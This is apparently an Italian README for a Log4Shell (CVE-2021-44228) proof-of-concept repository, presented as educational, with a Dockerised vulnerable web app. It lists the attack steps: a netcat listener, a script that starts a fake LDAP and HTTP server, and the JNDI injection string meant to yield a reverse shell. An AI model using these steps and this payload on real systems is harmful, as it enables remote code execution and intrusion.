
Prova di concetto per CVE-2021-44228 (Log4Shell) con configurazione automatizzata del server LDAP/HTTP e generazione di payload reverse shell per test educativi.
Una Proof-Of-Concept per la vulnerabilità CVE-2021-44228 recentemente scoperta.
Recentemente è stata scoperta una nuova vulnerabilità in log4j, una libreria di logging Java ampiamente utilizzata in applicazioni come Elasticsearch, Minecraft e molte altre.
In questo repository è presente un'applicazione vulnerabile di esempio e un exploit proof-of-concept (POC) della stessa.
Come PoC è presente un file Python che automatizza il processo.
pip install -r requirements.txt
nc -lvnp <netcat-port=example=2034>
jdk1.8.0_20, e trovarsi nella stessa directory.$ python3 poc.py --userip <your-ip-address> --webport <web-server-port=default=8000> --lport <netcat-listen-port=default=2034>
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<your-ip-address>:1389/a}
Listening on 0.0.0.0:1389
Questo script configurerà il server HTTP e il server LDAP per te, e creerà anche il payload che potrai incollare nel parametro vulnerabile. Dopo di che, se tutto è andato bene, dovresti ottenere una shell sulla porta di ascolto (lport).
C'è un Dockerfile con l'applicazione web vulnerabile. Puoi usarlo seguendo i passaggi seguenti:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
Una volta in esecuzione, puoi accedervi su localhost:8080
Nota: Devi creare un account per poter scaricare il pacchetto.
Una volta scaricato ed estratto l'archivio, puoi trovare java e alcuni binari correlati in jdk1.8.0_20/bin.
Nota: Assicurati di estrarre la cartella jdk in questo repository con lo stesso nome affinché funzioni.
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Questo repository non è inteso come un exploit con un solo clic per CVE-2021-44228. Lo scopo di questo progetto è aiutare le persone a conoscere questa vulnerabilità e, forse, testare le proprie applicazioni (tuttavia esistono applicazioni migliori per questo scopo, ad esempio: https://log4shell.tools/).